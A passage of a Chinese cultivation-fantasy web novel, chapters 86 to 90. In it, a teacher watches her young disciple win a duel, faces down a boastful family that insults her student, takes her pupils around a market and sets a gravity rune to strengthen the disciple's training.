坊市内的空气仿佛彻底凝固了。 所有人都瞪大了眼睛,难以置信地看着这诡异的一幕。 短暂的死寂后,爆发出阵阵惊呼与抽气声。 “不可能!” “我眼花了吗?炼气十二层持法器一击,竟破不了炼气三层的防?” “那孩子是体修?可体修也没有这么强吧?” 楚凌风的笑声戛然而止,像是被掐住了脖子的公鸡,脸上得意的表情瞬间僵住,化为错愕。 唯有云见月,唇瓣悄然勾起一抹浅笑。 《九转星辰淬体术》的玄妙,此刻终于初露锋芒。 这部天阶极品功法的强悍,在原剧情中贯穿始终,练至大成,肉身便是最强法宝,同阶无人可破。 而星辰,已经练完了这套体术的第一重,他真正的实力不是炼气三层,而是炼气十二层,无限接近筑基期。 此番对决,不为其他,只为让给他积累实战经验。 场中,萧星尘自己也愣住了,他看着手臂上那道浅浅的血痕,心中震撼无以复加。 他知道师尊给的功法厉害,却从未想过,竟能厉害到如此地步。 而萧凡,则是彻彻底底的怒了。 自己修为远超对方,手持利剑,竟连对方的皮肉都无法斩开? 这简直是奇耻大辱。 他的自尊心受到了前所未有的践踏。 萧凡怒吼一声,开始发动疯狂般的攻击,剑剑直取面门、心口、丹田等要害。 “我就不信杀不了你!” 萧星尘虽仗着淬体术的强大防御未被重创,但两人实战经验差距实在太大。 他只能凭借躲闪、格挡,几乎毫无还手之力。 锋利的剑刃一次次划过他的身体,衣服很快被割裂,一道道血淋淋的伤口浮现,虽不深,却让他看起来凄惨无比,俨然成了一个血人。 苏渺渺小脸煞白,害怕地紧紧抓住云见月的手,声音发颤:“师尊,大师兄流了好多血,怎么办?” 鹿闻声、郁姝和江迷雾也同时看向云见月,眼中满是担忧与不忍。 云见月看着萧星尘身上不断渗血的伤口,指尖无意识地蜷缩了一下,她手中极品疗伤丹早已备好,却硬生生忍住没递出去。 温室的花朵经不起风雨。 成长的路,必然坎坷。 而实战,便是星辰人生中最重要的一课! 她压下情绪,声音平稳而有力,“要相信你们的大师兄,唯有亲身经历战斗,才能淬炼出战斗的本能,他没有那么脆弱。” 孩子们见师尊如此镇定,只能强压心疼,继续提心吊胆地看着场中那近乎单方面虐打的画面。 萧凡边打边破口大骂:“废物,就知道躲,就知道挡,头脑简单四肢发达的蠢货,云见月那个贱人就是这么教你的?我看她就是故意让你上来送死的,她早就想摆脱你这个累赘了。” 一直沉默挨打的萧星尘猛地抬起头,染血的目光锐利如刀,厉声喝道:“我不许你骂我师尊!” 萧凡见他终于有反应,骂得更欢:“我就骂了,云见月是贱人,你是废物,你能拿我怎么样?啊?来打我啊!废物!” 萧星尘眼中闪过厉色,一直被动防御的他,忽然放弃了所有格挡。 他的脑海中,《九转星辰淬体术》的攻伐动作如星辰般接连闪现。 他硬顶着袭来的一剑,身体如同绷紧的弓弦,猛然前冲,一拳毫无花哨地狠狠砸中萧凡的腹部。 “嘭!” 这蕴含星辰之力的一拳,萧凡只觉得一股蛮横无比的巨力透体而入,五脏六腑瞬间翻江倒海,所有灵力都被这一拳打散,他喉咙一甜,一口鲜血喷出,整个人像虾米一样弯了下去,青锋剑脱手坠地。 然而,这还未结束! 未等对方反应,萧星尘双手攥在一起成拳,用尽全身力气,狠狠砸在萧凡的后心之上。 “砰!” 萧凡整个人被砸得彻底失去战斗力,像一滩烂泥般趴倒在地,身体无意识地抽搐着,连痛呼都发不出来。 全场死寂! 萧星尘浑身浴血,却身姿挺拔,他低头看着脚下彻底失去反抗能力的萧凡,一张染血的小脸满是严肃与冷意。 “辱我师尊,你活该。” “不可能!这绝不可能!”楚凌风无法接受眼前的事实,“凡儿修为远超他,怎么会输?怎么会!” 他猛地扭头,目光猩红地瞪向云见月,手指却指着萧星尘,“云见月,你到底让他练了什么邪门功法?” 云见月勾唇嘲讽:“楚少主有时间质问我,不如先去看看你的宝贝徒弟还活着没有。” 楚凌风脸色铁青,牙齿咬得咯咯作响,满心不甘与怨毒,却也只能慌忙冲过去查看萧凡的伤势。 一查之下,心头更惊。 萧凡丹田受创极重,虽未丹田破裂,但气海内灵力紊乱不堪。 另一边,萧星尘拖着伤痕累累的身体,一步步走到云见月面前。 他仰起满是血污却异常明亮的小脸,声音自豪: “师尊,徒儿赢了。” 云见月心中百感交集,抬手,用指腹轻轻擦拭他脸颊的血污,“是,星辰赢了。这是星辰第一次实战,也是你凭自己的意志与力量,赢得的第一场胜仗。” 萧星尘虽然全身无处不痛,却努力扬起了一个大大的笑容。 “我能赢,不是因为我有多强,而是因为我有全世界最好的师尊。” 云见月闻言,鼻尖一酸,又是心疼又是感动。 “疼吗?”她轻声问。 萧星尘眨了下眼,带着点孩子气的依赖:“师尊给吹吹就不疼了。” 云见月噗嗤一声笑出来,“傻话,哪能吹吹就不疼。来,吃了丹药才能好。” 她将极品疗伤丹送入萧星尘口中。 萧星尘的伤以肉眼可见的速度愈合了。 处理完他的伤,云见月目光扫过全场,将众人的惊愕尽收眼底,这才不紧不慢地看向楚凌风。 “楚少主,你徒弟输了。” 楚凌风抱着昏迷的萧凡,面色阴沉得能滴出水来,咬牙切齿道:“你待如何?” 云见月略一沉思,扬了扬眉,视线落在郁姝身上。 “让她出来,跟我家仙儿切磋切磋。” 第87章 我女儿郁姝和三小姐是闺中密友 所有人的目光都聚焦在楚凌风身后的郁姝身上。 郁姝的小脸刹那间血色尽褪,变得惨白如纸。 她下意识地往后缩,几乎要将自己埋进人群里,眼神慌乱,根本不敢与郁仙沉静的目光对视。 她在郁仙手上吃过两次大亏,至今仍是午夜梦回的噩梦。 一次是被毫不留情地掌掴羞辱,一次是丹田被毁的剧痛与绝望。 更重要的是,在药仙谷,她亲眼见过郁仙“妖化”成银发银瞳的模样,那股堪比元婴大能的恐怖破坏力,早已在她心底刻下无法磨灭的阴影。 她又不是没脑子,明知是必输甚至可能送死的局面,怎么可能还会逞强? “我…我不想比…”她带着哭腔的声音细若蚊蚋。 云见月神色冰冷。 郁姝不过比仙儿大两岁,心思却歹毒狭隘,足见郁家教育多么的失败。 上次在药仙谷,因有楚凌风和玄黄二老阻挠,她未能彻底为仙儿讨回公道。 她云见月可从不是任人欺负的性子,今日,就先从这郁姝身上,讨回点利息。 她声音不大,却带着不容置疑的威严:“本尊说比,便要比。本尊不是在征询你的意见。” 郁姝双腿发软,眼中充满了惊惧。 就在这时,人群外传来一声尖锐焦急的怒喝:“谁敢动我家姝儿!” 只见一男一女粗暴地分开人群,急匆匆冲了进来。 这两个都是老熟人,男的是郁长林,女的是柳静怡。 柳静怡一出现便如同护崽的母鸡,猛地将抖成筛糠的郁姝严严实实护在怀里,对着云见月怒目而视:“我家姝儿才多大?云见月你竟如此逼迫她与人对战?你安的什么心!” 郁长林则摆出一家之主的威严,怒视云见月道:“切磋比试,讲究你情我愿。我女儿不愿与你徒弟动手,此事就此作罢!” 他轻蔑地扫了一眼郁仙,语气是毫不掩饰的嫌弃,“更何况,她一个被我郁家舍弃的贱种,有何资格与我郁家大小姐比试?她不过是心比天高,命比纸薄的货色。” 他们的话如尖刀,一刀刀剜在郁仙的心上。 郁仙攥紧衣角的手指泛白,身体微微颤抖,却倔强地咬着唇。 她其实早就不在乎郁家人是如何看待她的了。 好也罢,坏也罢,她都不在乎。 她只在乎师尊,她最不想看到的,就是师尊因自己而蒙羞,因自己而被人指指点点。 郁家,是她无法选择也无法摆脱的出身污点。 突然,一只温暖而坚定的大手轻轻落在了她的头顶,温柔地抚摸着。 “仙儿,不要怕,更不要自责。” 云见月的声音带着安抚一切的力量,“你在为师的心中,是独一无二的珍宝。不是你不够好,是他们的心偏了,瞎了。你不欠郁家任何东西,相反,是他们欠你一个公道,欠你一个本该无忧的童年。” “有为师在,从今往后,你都不必再活在他们的阴影下。他们,不配让你畏惧,更不配让你流下一滴眼泪。” 郁仙怔怔地看着师尊温柔而坚定的眼眸,一直强忍的泪水终于决堤般滑落。 但这一次,不再是委屈和害怕,而是解脱与无法言喻的感动。 她扑进云见月怀里,将脸埋在那片令人安心的温暖中,将委屈化作了释然的啜泣。 “歪理邪说!”郁长林面皮涨红,“怪不得郁仙如此没教养!” 柳静怡尖声道:“云见月,你就是这么教导孩子的?郁仙变得越来越没有教养,目无尊长,心狠手辣到毁她父亲丹田,断我郁家根基,这等孽障,你不但不严加管教,反而纵容包庇,你就是这般为人师表的?” 云见月轻轻拍着怀中郁仙的背,声音冷冽,“你们的话倒是提醒了本尊,论起教养,本尊确实自愧不如。毕竟,能教出郁姝这种小小年纪便心思歹毒、算计姐妹、搬弄是非的女儿,郁家的教养方式,还真是独树一帜,令人叹为观止。” “至于顶撞、殴打、伤害,那不过是仙儿自保反击罢了。难道只许你们郁家欺辱人,就不许我徒儿自卫了?这是哪门子的道理?还是说,在你们郁家,真千金的命和尊严,就天生贱如草芥,合该被你们养出来的假千金踩在脚下磋磨?” 这一番话,夹枪带棒,直接将郁家最龌龊的一面揭了个底朝天,怼得柳静怡一张保养得宜的脸瞬间扭曲狰狞,却张口结舌,无法反驳。 他们除了动嘴皮子,根本不敢对云见月动手。 如今的郁长林,丹田被郁仙所毁,早已是个没有修为的废人。 郁长林死死盯着郁仙,眼中的怨毒几乎要溢出来,恨不得将她扒皮抽筋,却又无能为力。 他猛地将怨毒的视线转向云见月,忽然发出一阵诡异的大笑:“呵呵……哈哈哈哈——!” 这突如其来的笑声,让在场所有人都有些摸不着头脑。 云见月只是静静地看着他,眼神无波无澜,仿佛在看一个跳梁小丑。 等郁长林笑够了,他挺直了腰杆,“云见月,我承认,你修为确实不俗,我不是你的对手,但是你也不要过于猖狂。我警告你,我背后的人,是你惹不起的存在!” “哦?”云见月眉梢微挑,“你背后的人?指的是楚凌风?还是他背后的青云剑宗?” “不止!”郁长林脸上泛起一丝得意的红光,声音都拔高了几分,“我最大的靠山,是长春堂的东家,就是那位炼制出极品丹药、名震下域的三小姐!” 此言一出,周围看热闹的人群顿时响起一片哗然和惊叹的唏嘘声! “长春堂的三小姐?!” “那个传说中的炼丹天才?” “郁家竟然搭上了这条线?难怪如此有底气!” “那位三小姐神龙见首不见尾,他能得此青睐,郁家这是要崛起啊!” 而处于风暴中心的云见月闻言,表情微妙地一噎,下意识地垂眸看了一眼怀里的郁仙。 郁仙从她怀里抬起头,小脸上还挂着泪珠,表情却是一片茫然。 站在云见月身后的花影和虞青焰,嘴角控制不住地抽搐了几下,看向郁长林的目光如同在看一个大傻子。 连一旁看戏的青璃,脸上也浮现出一丝无语的神色:“......” 见云见月等人似乎被“震住”,愣在当场,郁长林底气更足,胸膛都挺了起来。 “呵!怕了吧?我现在可是长春堂一号分店的掌柜!” “我家姝儿,更是三小姐最要好的朋友,三小姐乃是上域大宗门出身,是千年难遇的炼丹奇才。三小姐都如此厉害,可想而知她背后的宗门以及她的师尊,该是何等惊才绝艳、通天彻地的大人物,岂是你们这些阿猫阿狗能够招惹的?” 云见月:“......” 该说你是在夸我,还是在骂我呢? 她按捺住嘴角差点扬起的弧度,语气古怪地重复确认:“你确定,你背后的靠山是长春堂的三小姐?你女儿郁姝,和三小姐是好朋友?” 郁长林脸不红心不跳,斩钉截铁:“当然!” 反正他已经是长春堂一号分店的掌柜,自然算三小姐的人。 至于姝儿…… 他相信,以姝儿的乖巧懂事,只要见到三小姐,一定能成为三小姐的闺中密友。 他不过是提前说出了必将发生的事实罢了。 抱着这种自欺欺人的心态,郁长林对着云见月贴脸开大:“云见月,你若识相,现在就立刻把郁仙这个孽障交给我处置,我或许可以既往不咎。 否则,若是惹得三小姐不高兴,哼,你们整个玄天宗,都将在下域没有立足之地!” “哦——”云见月拖长了语调,语气里的嘲讽几乎要溢出来,“原来你和三小姐的关系这么‘好’啊。” “当然!” “既然关系这么好,”云见月目光落在他丹田处,“那三小姐为什么不发发善心,先给你炼制一颗天阶极品大还丹,治好你这破裂的丹田呢?” 一句话,狠狠刺在了郁长林脆弱的心上。 郁长林面色涨得通红,尖声叫道:“云见月你放肆!你敢质疑三小姐?三小姐之所以还未替我炼丹,那是因为……那是因为三小姐日前已返回上域处理紧急要事,无暇他顾。” “原来是这样啊。”云见月恍然大悟般点点头,眼中的讥诮更浓,“那不知三小姐何时归来呢?总不能让你这‘好朋友的父亲’、‘得力的干将’,一直做个废人吧?” 郁长林眼珠慌乱地转动,急中生智,道:“半年!半年后上域来下域选拔人才,三小姐到那时一定会现身。” “届时,她自然会亲自为我炼制修复丹田的天阶极品大还丹!” 他越说越觉得自己编得有理,气势又回来了,恶狠狠地威胁:“你现在乖乖把郁仙交出来还来得及,否则到时三小姐驾临,你们一个都没有好果子吃。” 云见月看着他那副虚张声势的模样,沉默了片刻,眼中闪过一抹无人察觉的玩味。 她几乎要忍不住为他这厚颜无耻且漏洞百出的谎言鼓掌了。 这真是连他自己都能骗过去啊。 她压下笑意,缓缓点头,“哦?既然如此,那就等到半年后吧。若到时你口中那位三小姐,真的肯为你炼制天阶极品大还丹,我便毫不犹豫地把仙儿交给你,如何?” 第88章 花影和虞青焰就是傲娇小公举,惯会撒娇 郁长林听到云见月应下"半年之约",脸上瞬间绽开狂喜,与柳静怡对视一眼,那眼神分明写着"果然唬住了这贱人"。 郁姝也从母亲怀里抬起头,苍白的小脸上恢复血色,甚至偷偷用挑衅的目光剜向郁仙,仿佛长春堂三小姐真成了她的闺中密友一般。 围观人群议论的风向也立刻转变。 “看吧,果然还是得低头……” “长春堂三小姐的名头实在太响了,玄天宗这种落魄的小宗门怎么惹不起。” “可惜了,还以为能看场好戏,结果就这么虎头蛇尾地结束了。” “识时务者为俊杰嘛……” 楚凌风觉得有些蹊跷,以他对云见月的了解,这女人要强又护短,绝不像是会轻易妥协的人。 但这结果对他有利无弊,他也乐于见到云见月这副“敢怒不敢言”、被迫退让的样子,心中不免生出几分快意来。 郁长林自觉挽回了全部颜面,腰杆挺得笔直,他清了清嗓子,“你既然做出了明智的选择,那今日之事便暂且作罢,我们走!” 说罢,他们一行人准备离开。 在与云见月等人擦肩而过时,楚凌风还十分不甘心地狠狠瞪了云见月一眼,眼神阴鸷怨毒。 云见月只淡淡勾唇,懒得理会这跳梁小丑。 今日的主要目的是为了磨砺萧星尘,目的已然达到,她也打算就此带着孩子们返回宗门。 然而,她刚说出“孩子们我们回宗门”,身旁的花影就软绵绵地靠了过来,声音九曲十八弯地:“月月~这就回去啦?人家好不容易出来一趟,坊市这么大,这么热闹,还没开始逛呢!” “你看天光正好,微风不燥,正是逛街的好时节,干嘛这么急着回去嘛~~” 云见月:“……” 她垂眸看向五个小豆丁,只见五双大眼睛都期待的看着她。 云见月轻笑,“想逛街?” “嗯嗯。”小家伙们点头如捣蒜。 于是,一行人开始在熙熙攘攘的坊市里逛了起来。 说是大家一起逛,实则大部分时间,都是云见月和五个小豆丁跟在花影和虞青焰身后。 花影一头扎进"凝香阁",拿起一盒桃腮粉对着铜镜左照右照的涂抹。 “哎呀呀,掌柜的,你这盒‘醉芙蓉’颜色是不错,但粉质不够细腻,抹上去都卡粉了,有没有更润泽一些的?” 当掌柜的给他换了一盒后。 "就这?颜色也太素了,抹在脸上跟没抹有什么区别?一点都不能衬托出我的娇俏动人。" 掌柜好脾气的又给他换了一盒。 “这‘烈焰红唇’的颜色也太俗气了,根本配不上我高贵冷艳的气质。” 掌柜:“......”要买买,不买滚! 虞青焰同样离谱。 他举着五颜六色的漂亮衣裙在自己身前比划,还时不时问身后的“观众”:“云见月,你看这件流仙裙我穿着会不会显得太飘逸?唔…这件鲛纱的劲装也还行,就是颜色不够出挑…哎,那件云纹广袖袍好像不是很配我新得的发簪…” 云见月和一众徒弟们:“……” 除了无语,还是无语。 鹿闻声甚至偷偷打了个哈欠。 苏渺渺鼓起包子脸、江迷雾蹲在角落画圈圈、萧星尘和郁仙无奈扶额。 云见月:“......”这两人真让人受不了,一个两个矫情的不行。 就这样,逛了一大圈,孩子们的耐心几乎告罄,连最沉稳的萧星尘眼神都有些放空了。 花影终于从最后一家脂粉铺子里出来,像霜打的茄子一脸沮丧,开始毫无形象地抱怨:“无聊!太无聊了!全都是些陈年旧货,一点创新都没有,连个能入眼的哑光口脂都没有,这届坊市不行。” 虞青焰难得地点头表示赞同,语气带着同样的嫌弃:“衣服也尽是些俗套款式,毫无新意,料子也配不上我的气质。” 两人对视一眼,忽然心有灵犀,同时将灼灼的目光投向了正揉着额角的云见月。 花影直接整个人挂在云见月身上,声音甜得发腻:“月月~好月月~你最好了!你最厉害了!你的脑子里有那么多奇思妙想,你给我做嘛~ 做一套独一无二、绝世无双的胭脂水粉好不好?人家娇嫩的肌肤每日暴露在空气中,风吹日晒,是要受损的,再不用你特制的胭脂,就要从‘万花第一美’变成‘干瘪老白菜’啦!呜呜呜……” 虞青焰见状,一把将人扯开:“少装可怜,你当我闻不出你满身玉肌膏的味道吗?呛死人了。” “云见月,先给我做衣服,我的审美可比他高级多了!” “你看我身上这件繁花锦绣裙都穿两个多月了,我要新衣服,要你设计的那种,别人都没有的。” 云见月被这两个活宝一左一右地吵,只觉得一个头两个大。 “好啦!你们两个都给我闭嘴!” 她没好气地瞪着他们:“这里是修仙界,以实力为尊,你们两个,一个整天琢磨把自己弄得花枝招展、香气扑鼻,一个跟只开了屏的花孔雀似的到处招摇,这又不是凡间的选美大赛,美在修仙界是最没用的!” 花影和虞青焰同时一愣。 花影立刻垮了脸,委屈得像被踩了尾巴的猫,理直气壮地反驳:“怎么没用?人家每天照镜子的时候,看着这张赏心悦目、毫无瑕疵的脸,心情就会变得特别好,心情好,修炼起来才事半功倍,这可是关乎道心稳固的大事。” 虞青焰适时地掏出他那面镶嵌着各色宝石、闪瞎人眼的小镜子,一边拨弄着自己额前一丝不乱的碎发,一边淡定补充:“嗯,我也是。仪表堂堂,方能道心通明,赏心悦目,才能心境平和。” 云见月:“……”这神逻辑,她竟一时无法反驳。 五个小豆丁仰着肉乎乎的小脸,看着两个高大俊朗的美人哥像小孩子一样撒娇耍赖,嘴角控制不住地一起抽搐。 他们都没这样跟师尊撒过娇。 这两个大男人真好意思! 云见月败下阵来,“好好好,我答应,我答应还不行嘛,真是两个祖宗……” 安抚完这两位“小公举”,大家才重整旗鼓继续往前走。 拐过一个街角,便看到一个老伯正在熬制糖浆,绘制各种栩栩如生的糖人。 花影眼睛一亮,立刻凑过去,十分自来熟地拿起一个蝴蝶糖人,转头就对郁仙笑道:“仙儿,你不是喜欢吃糖人吗?花叔叔给你买好不好?你看这个喜不喜欢?” 郁仙看着那在阳光下闪烁着诱人金黄色的糖人,不由得怔住了。 她想起了师尊第一次带他们来坊市时,就是在这里,给她买了人生中第一个糖人。 那是她第一次有糖吃,是人生中第一次收到礼物,更是师尊送给她的第一件礼物。 若说她有多喜欢吃糖人,其实并没有。 只是因为曾经极度渴望得到,却被郁长林和柳静怡无情拒绝,转头却又笑着买给郁姝时,糖人便成了她心中的一个执念,一个象征着“被爱”、“被在意”的符号。 又因为,那是师尊送的,她更是倍感珍惜,当初那个糖人,她一口都舍不得吃,甚至小心翼翼地用灵力包裹着,想要永远保存起来。 可是…… 她最喜欢最在意的那一个,最终却在药仙谷,被郁明轩一脚踩得粉碎…… 在她陷入悲伤回忆时,花影已经手脚麻利地买了五个造型各异的糖人,笑眯眯地分给萧星尘、鹿闻声、苏渺渺和江迷雾。 最后,他蹲到郁仙面前,将那个最精致的蝴蝶糖人递给她,笑容温暖:“小仙儿,来,吃吧,可甜了。” 郁仙愣愣地接过,依言放入口中。 糖人一如既往的甜,蜜糖的味道在舌尖化开。 可是,她的鼻头却猛地一酸,眼圈瞬间就红了,大颗大颗的泪珠毫无征兆地滚落下来,混进了糖浆里。 花影见状,顿时慌了手脚,有些六神无主:“小仙儿?你这是怎么了?怎么哭了?是、是糖人不好吃吗?还是扎到嘴了?” 云见月也赶忙蹲下身,与她平视,温柔地擦去她的眼泪:“乖,告诉师尊,到底怎么了?” 郁仙张开双臂,用力搂住云见月的脖子,小脸埋在她颈窝里,压抑的哭声带着无尽的委屈。 “师尊......您上次给我买的糖人,被郁明轩踩碎了,他还抢走了您给仙儿买的《九转蕴神鼎》和您给的零用钱,都是仙儿没用,没有护好您送给我的礼物……” 云见月闻言,心中顿时一疼。 直到今天她才知道,原来她随手买给仙儿的糖人,竟被她如此珍视,甚至不惜耗费灵力去保存。 糖人被踩碎时,这孩子该有多难过? 云见月心疼地环住怀里的小身子,轻轻拍着她的背,“乖,不哭了,不哭了。郁明轩抢走的东西,师尊早晚会帮你一样一样地夺回来。至于糖人……” “师尊亲手给仙儿做一个永远不会碎掉的礼物,好不好?” 郁仙抬起湿漉漉的大眼睛,带着浓浓的鼻音,“真…真的吗?” 云见月刮了刮她的小鼻子,“当然是真的,为师什么时候骗过你?” 得到了肯定的承诺,郁仙破涕为笑。 这一次,糖的甜味,似乎终于丝丝缕缕地,甜进了心里。 花影看着这一幕,突然收起了玩笑,轻声对虞青焰说:"看到没?还是月月最会哄孩子。" 虞青焰难得没反驳,只是看着云见月的眼神,多了些不易察觉的温柔。 第89章 不求你登得多高,但求你走的长远 夜色如墨,万籁俱寂。 皎洁的月光如水般倾泻而下,温柔地为庭院中的每一个人都镀上了一层朦胧的银边。 廊檐下,几盏大红灯笼在夜风中轻轻摇曳,投下暖黄色的的光斑。 青璃素手煮茶,茶釜中升腾的白雾裹着松针清香;虞青焰躺在摇椅里,闭目轻摇,椅脚发出规律的“咯吱”声。 云见月和孩子们围坐在院中的石桌前,享受着这难得的宁静时光。 "今日坊市一行,可有什么收获与为师分享?"云见月声音温和,目光逐一扫过孩子们的脸庞。 萧星尘坐得笔直,小脸认真:“师尊,我在和萧凡的战斗中收获了勇气,我知道了我比想象中要厉害一点,就是……就是躲闪的时候还是太慢了,弄的一身伤。” 郁仙声音细细的却很清晰:“我收获了安心。我知道,无论发生什么,师尊都会支持我们保护我们。” 云见月满意的点点头,随后看向鹿闻声。 “闻声呢?你有什么收获?” 鹿闻声想了想道:“外人如何诋毁,流言如何中伤,其实都不重要。重要的是我们师徒一心,彼此信任,彼此扶持,就像......” “就像花叔叔和虞叔叔,虽然别人可能觉得他们爱美很奇怪,但我们知道他们是好人,所以我们不在乎别人怎么说。” 他小小年纪,说出来的话倒是颇有深度。 云见月眼底的笑意更甚,“闻声说的好,看来你有认真思考过这个问题。” 鹿闻声小脸一红,看向云见月的眼神愈发的信任。 至于江迷雾和苏渺渺,因为太小,两个人回答的几乎都是与吃的玩的有关。 孩子们天真质朴的话语让云见月眼底漾开温柔的笑意。 她轻轻颔首,声音如同这月色般柔和却富有力量: “世人皆有双眼,却未必都有明心。外人的诋毁如同檐角雨滴,若执念于它,只会湿了道袍。” 她看向他们的目光变得坚毅,“你们曾经身处黑暗,未来或许会遭遇更多困难,但为师希望,你们的心,要永远坚定不移地站在光里。” “这光不是别人赐予的炬火,而是自己修来的明镜。唯有心向光明,方能在泥沼中踏出坦途,在迷雾里寻得归处。" 青璃煮茶的动作微滞,清冷面容在灯火下泛起柔波;虞青焰摇扇的手停在半空,缓缓睁开了眼眸。 两人都不自觉地望向她,静静聆听。 云见月的话语带着奇异的穿透力,看似说给稚童,却让旁听的人也心神剧震,仿佛窥见了大道轮廓。 萧星尘听得心潮澎湃,他握紧小拳头,眼神无比坚定:“师尊,徒儿今日虽然侥幸胜了,但徒儿深知自己还远远不够,徒儿向您保证,以后一定会拼尽全力变得更强,强到足以保护师尊,保护师弟师妹,绝不让他们受半点欺负。” 云见月欣慰地笑看着他,目中充满了鼓励与认可:“星辰,你今日的胜利,不是侥幸,而是你往日刻苦积累的成果,为师为你感到骄傲。 但这只是你的第一战,未来的道途漫长,你将面对无数场或明或暗的较量。 无论何时何地,遭遇何种强敌,都需谨记:信念不可摧,斗志不可灭。” 萧星尘听得全神贯注,眼中爆发出强烈的求知光芒,用力点头:“徒儿记住了!” 其他四个小家伙也听得连连点头,虽然有些深奥,但师尊的话仿佛有魔力,让他们本能地觉得非常重要。 随后,云见月神色微正,提起了另一件事:“半年之后,上域将会来人于下域选拔天赋出众者。届时,下域所有宗门将会开战一场仙门大比,为师希望,你们五人能争取到那五个名额,前往更广阔的天空,见识更浩瀚的世界。” “所以,”她的目光扫过每一张稚嫩却认真的小脸,“从今日起,你们真正的修行之路,才算正式开启。这半年,绝不可有丝毫懈怠,为师不求你们登得多高,但求你们未来的路能走得长远。” “为师灵墟秘境内的灵气远比外界浓郁,于你们修行大有裨益。闻声、仙儿、阿雾、渺渺,你们可入内修炼。” 她看向萧星尘,“星辰,你的功法需引动星辰之力,便只能留在外界了。” 孩子们纷纷郑重应是。 云见月袖袍轻轻一挥,鹿闻声、郁仙、江迷雾和苏渺渺的身影瞬间自原地消失,已被送入秘境之境那处洞府之中。 萧星尘也恭敬行礼,返回自己的小院,继续刻苦修炼《九转星辰淬体术》的第二重第一式。 庭院内,再次恢复了宁静。 只剩下虞青焰、青璃和云见月。 云见月取出一块质地细密的灵木和一柄刻刀,就着灯笼温暖的光,开始专注地雕刻起来。 托上辈子是金牌幼师的福,手工对她而言信手拈来。 既然答应了仙儿,这份礼物,她必然要亲手制作,倾注心意。 木雕结实,足以让仙儿保存一生一世。 一时间,院落里只剩下刻刀划过木头的细微“沙沙”声,虞青焰摇椅规律的“咯吱”声,以及青璃手中茶具偶尔发出的清脆碰撞声。 这些细碎平凡的声响,奇妙地融合在一起,无比安谧、宁静、温暖,令人心安。 晨光熹微,取代了夜的静谧。 云见月本欲将孩子们从秘境中唤出来用早饭,然而神识探入秘境后,却发现四个小家伙竟全都在深度入定之中。 秘境内精纯的灵气形成小小的漩涡,疯狂涌入他们体内。 尤其是鹿闻声,周身灵气波动剧烈,眼看着就要突破至筑基后期了。 见此情形,云见月欣慰一笑,自然不会去打扰他们。 于是,餐桌上只有云见月、青璃、虞青焰和萧星尘四人。 只是,不知为何,昨晚还斗志昂扬、眼神晶亮的萧星尘,此刻却像被霜打过的茄子,连吃饭都显得有些无精打采。 云见月不由得关切问道:“星辰,怎么了?可是修炼上遇到了难处?” 萧星尘抬起头,眼神里充满了自我怀疑:“师尊,昨晚我修炼淬体术第二重的第一个动作,整整一晚,无论如何都做不出来,我是不是很笨?” 云见月闻言,细细一想,便已了然。 她深知这套淬体术越是往后,修炼难度便是呈几何级数增长。 剧情中,强如楚凌风,飞升之前也仅仅修炼至第六重。 萧星尘仅用半月便练成第一重的九个动作,速度固然惊人,但恐怕根基并未打牢。 她放下筷子,目光温和却严肃地看向他:“星辰,修行之道,犹如筑万丈高楼,世人皆慕高楼入云,却不知地下三尺。” “你看咱们玄天宗山巅的那棵孤松,它的根系扎入岩缝百丈,方能在雷暴中挺腰而立。” “功法第一重的九个动作,是让你明白筋骨脉络如何呼应天地。你半月练完,看似神速,实则像在沙上筑塔,纵能一时立起,风雨一来,便有倾覆之危。 唯有将每一寸根基都打磨得坚如磐石,沉如大地,未来方能承其重,贯其高,真正触及苍穹。 你现在遇到的瓶颈,不是坏事,它正是在提醒你,需要回过头,将第一重的基础,锤炼得更加圆满扎实。” “修行无捷径,慢即是快。第一重不是让你练完,是让你练透。” 萧星尘顿时豁然开朗,眼中重新燃起光芒:“弟子明白了,多谢师尊教诲。” “好啦,想通了就好好吃饭。人是铁,饭是钢,吃饱了才有力气回去重新打磨基础。”云见月笑着给他夹了一筷子菜。 萧星尘用力点头,胃口大开,高高兴兴地吃完了早饭,脚步轻快地回自己小院去了。 青璃也如常前往长春堂打理事务。 玄天宗内瞬间安静了下来。 云见月看向一旁慵懒品茶的虞青焰,开口道:“虞青焰,有件事想请你帮忙。你能否在衣物上绘制一种符文阵法?” 虞青焰优雅地放下茶盏,扬眉看她:“哦?你想做什么?” “星辰的功法特殊,我担心他年少心急,太过追求进度反而忽略了根基。我希望他能一步一个脚印,将基础打得无比牢靠。所以,我想请你在他的衣服上,绘制一种能产生重力的阵法。” “重力阵法?你要多大的重力?” “初始先设置一倍重力吧,待他完全适应后,再逐步增加至两倍、三倍……十倍,甚至更多,当他负重前行能与旁人的修行同步时,卸下重担之日,便是一飞冲天之时.......”云见月平静地说出她的计划。 虞青焰听着她清晰而长远的规划,心中蓦地升起一股难以言喻的震撼与叹服。 他见过无数惊才绝艳之辈,却从未有人像云见月这般,能把“重力阵法”这种霸道手段,用成了“培土固根”的温柔算计。 她思旁人所不敢思,为徒儿计之深远,竟已细致至此。 这并非简单的拔苗助长,而是在为那棵幼苗不断地培厚土壤、加固根基,静待其未来某一日,能自然而然地成长为捅破苍穹的参天巨木。 他忽然想起昨夜月下论道的场景。 她总能在细微处窥见天道,于平凡中悟出玄机。 那些为孩童而说的话语,竟藏着让修士都汗颜的远见。 他怔怔的看着她,那目光是从未有过的热烈与真挚。 "你筑的不是路,是通天的桥。跟着你的人,未来或许真能...摘星拿月。" 第90章 给脸不要脸?那我就杀了你栽赃给云见月 一天过去,到了夜晚。 云见月带着虞青焰来到萧星尘清寂的小院时,小家伙正心无旁骛地演练着《九转星辰淬体术》第一重的动作。 “星辰。” 听到师尊的声音,萧星尘立刻收势。 他看向并肩走来的两人,连忙躬身规矩的行礼,“师尊,虞叔叔,你们怎么来了?” “你过来一下。”云见月温和道。 萧星尘虽心中疑惑,仍乖巧地走到两人面前。 云见月侧首对虞青焰微微颔首:“开始吧。” 只见虞青焰折扇一合,手腕一翻,一支通体莹白流转着金色光晕的灵纹笔凭空出现在他指间。 他手腕轻转,笔锋在空中疾走,笔尖过处,虚空中勾勒出繁复无比的金色符文,每一笔都牵引着周围的灵气。 最终一笔落下,整个符文浑然天成。 虞青焰手腕轻抖,“去!” 那金色的符文化作一道流光,瞬间没入萧星尘胸前衣袍之上,牢牢印刻在上面。 萧星尘看得目瞪口呆,随即一股难以言喻的沉重感瞬间席卷全身。 重力符文启动的刹那,萧星尘只觉仿佛有一座无形的小山轰然压在身上。 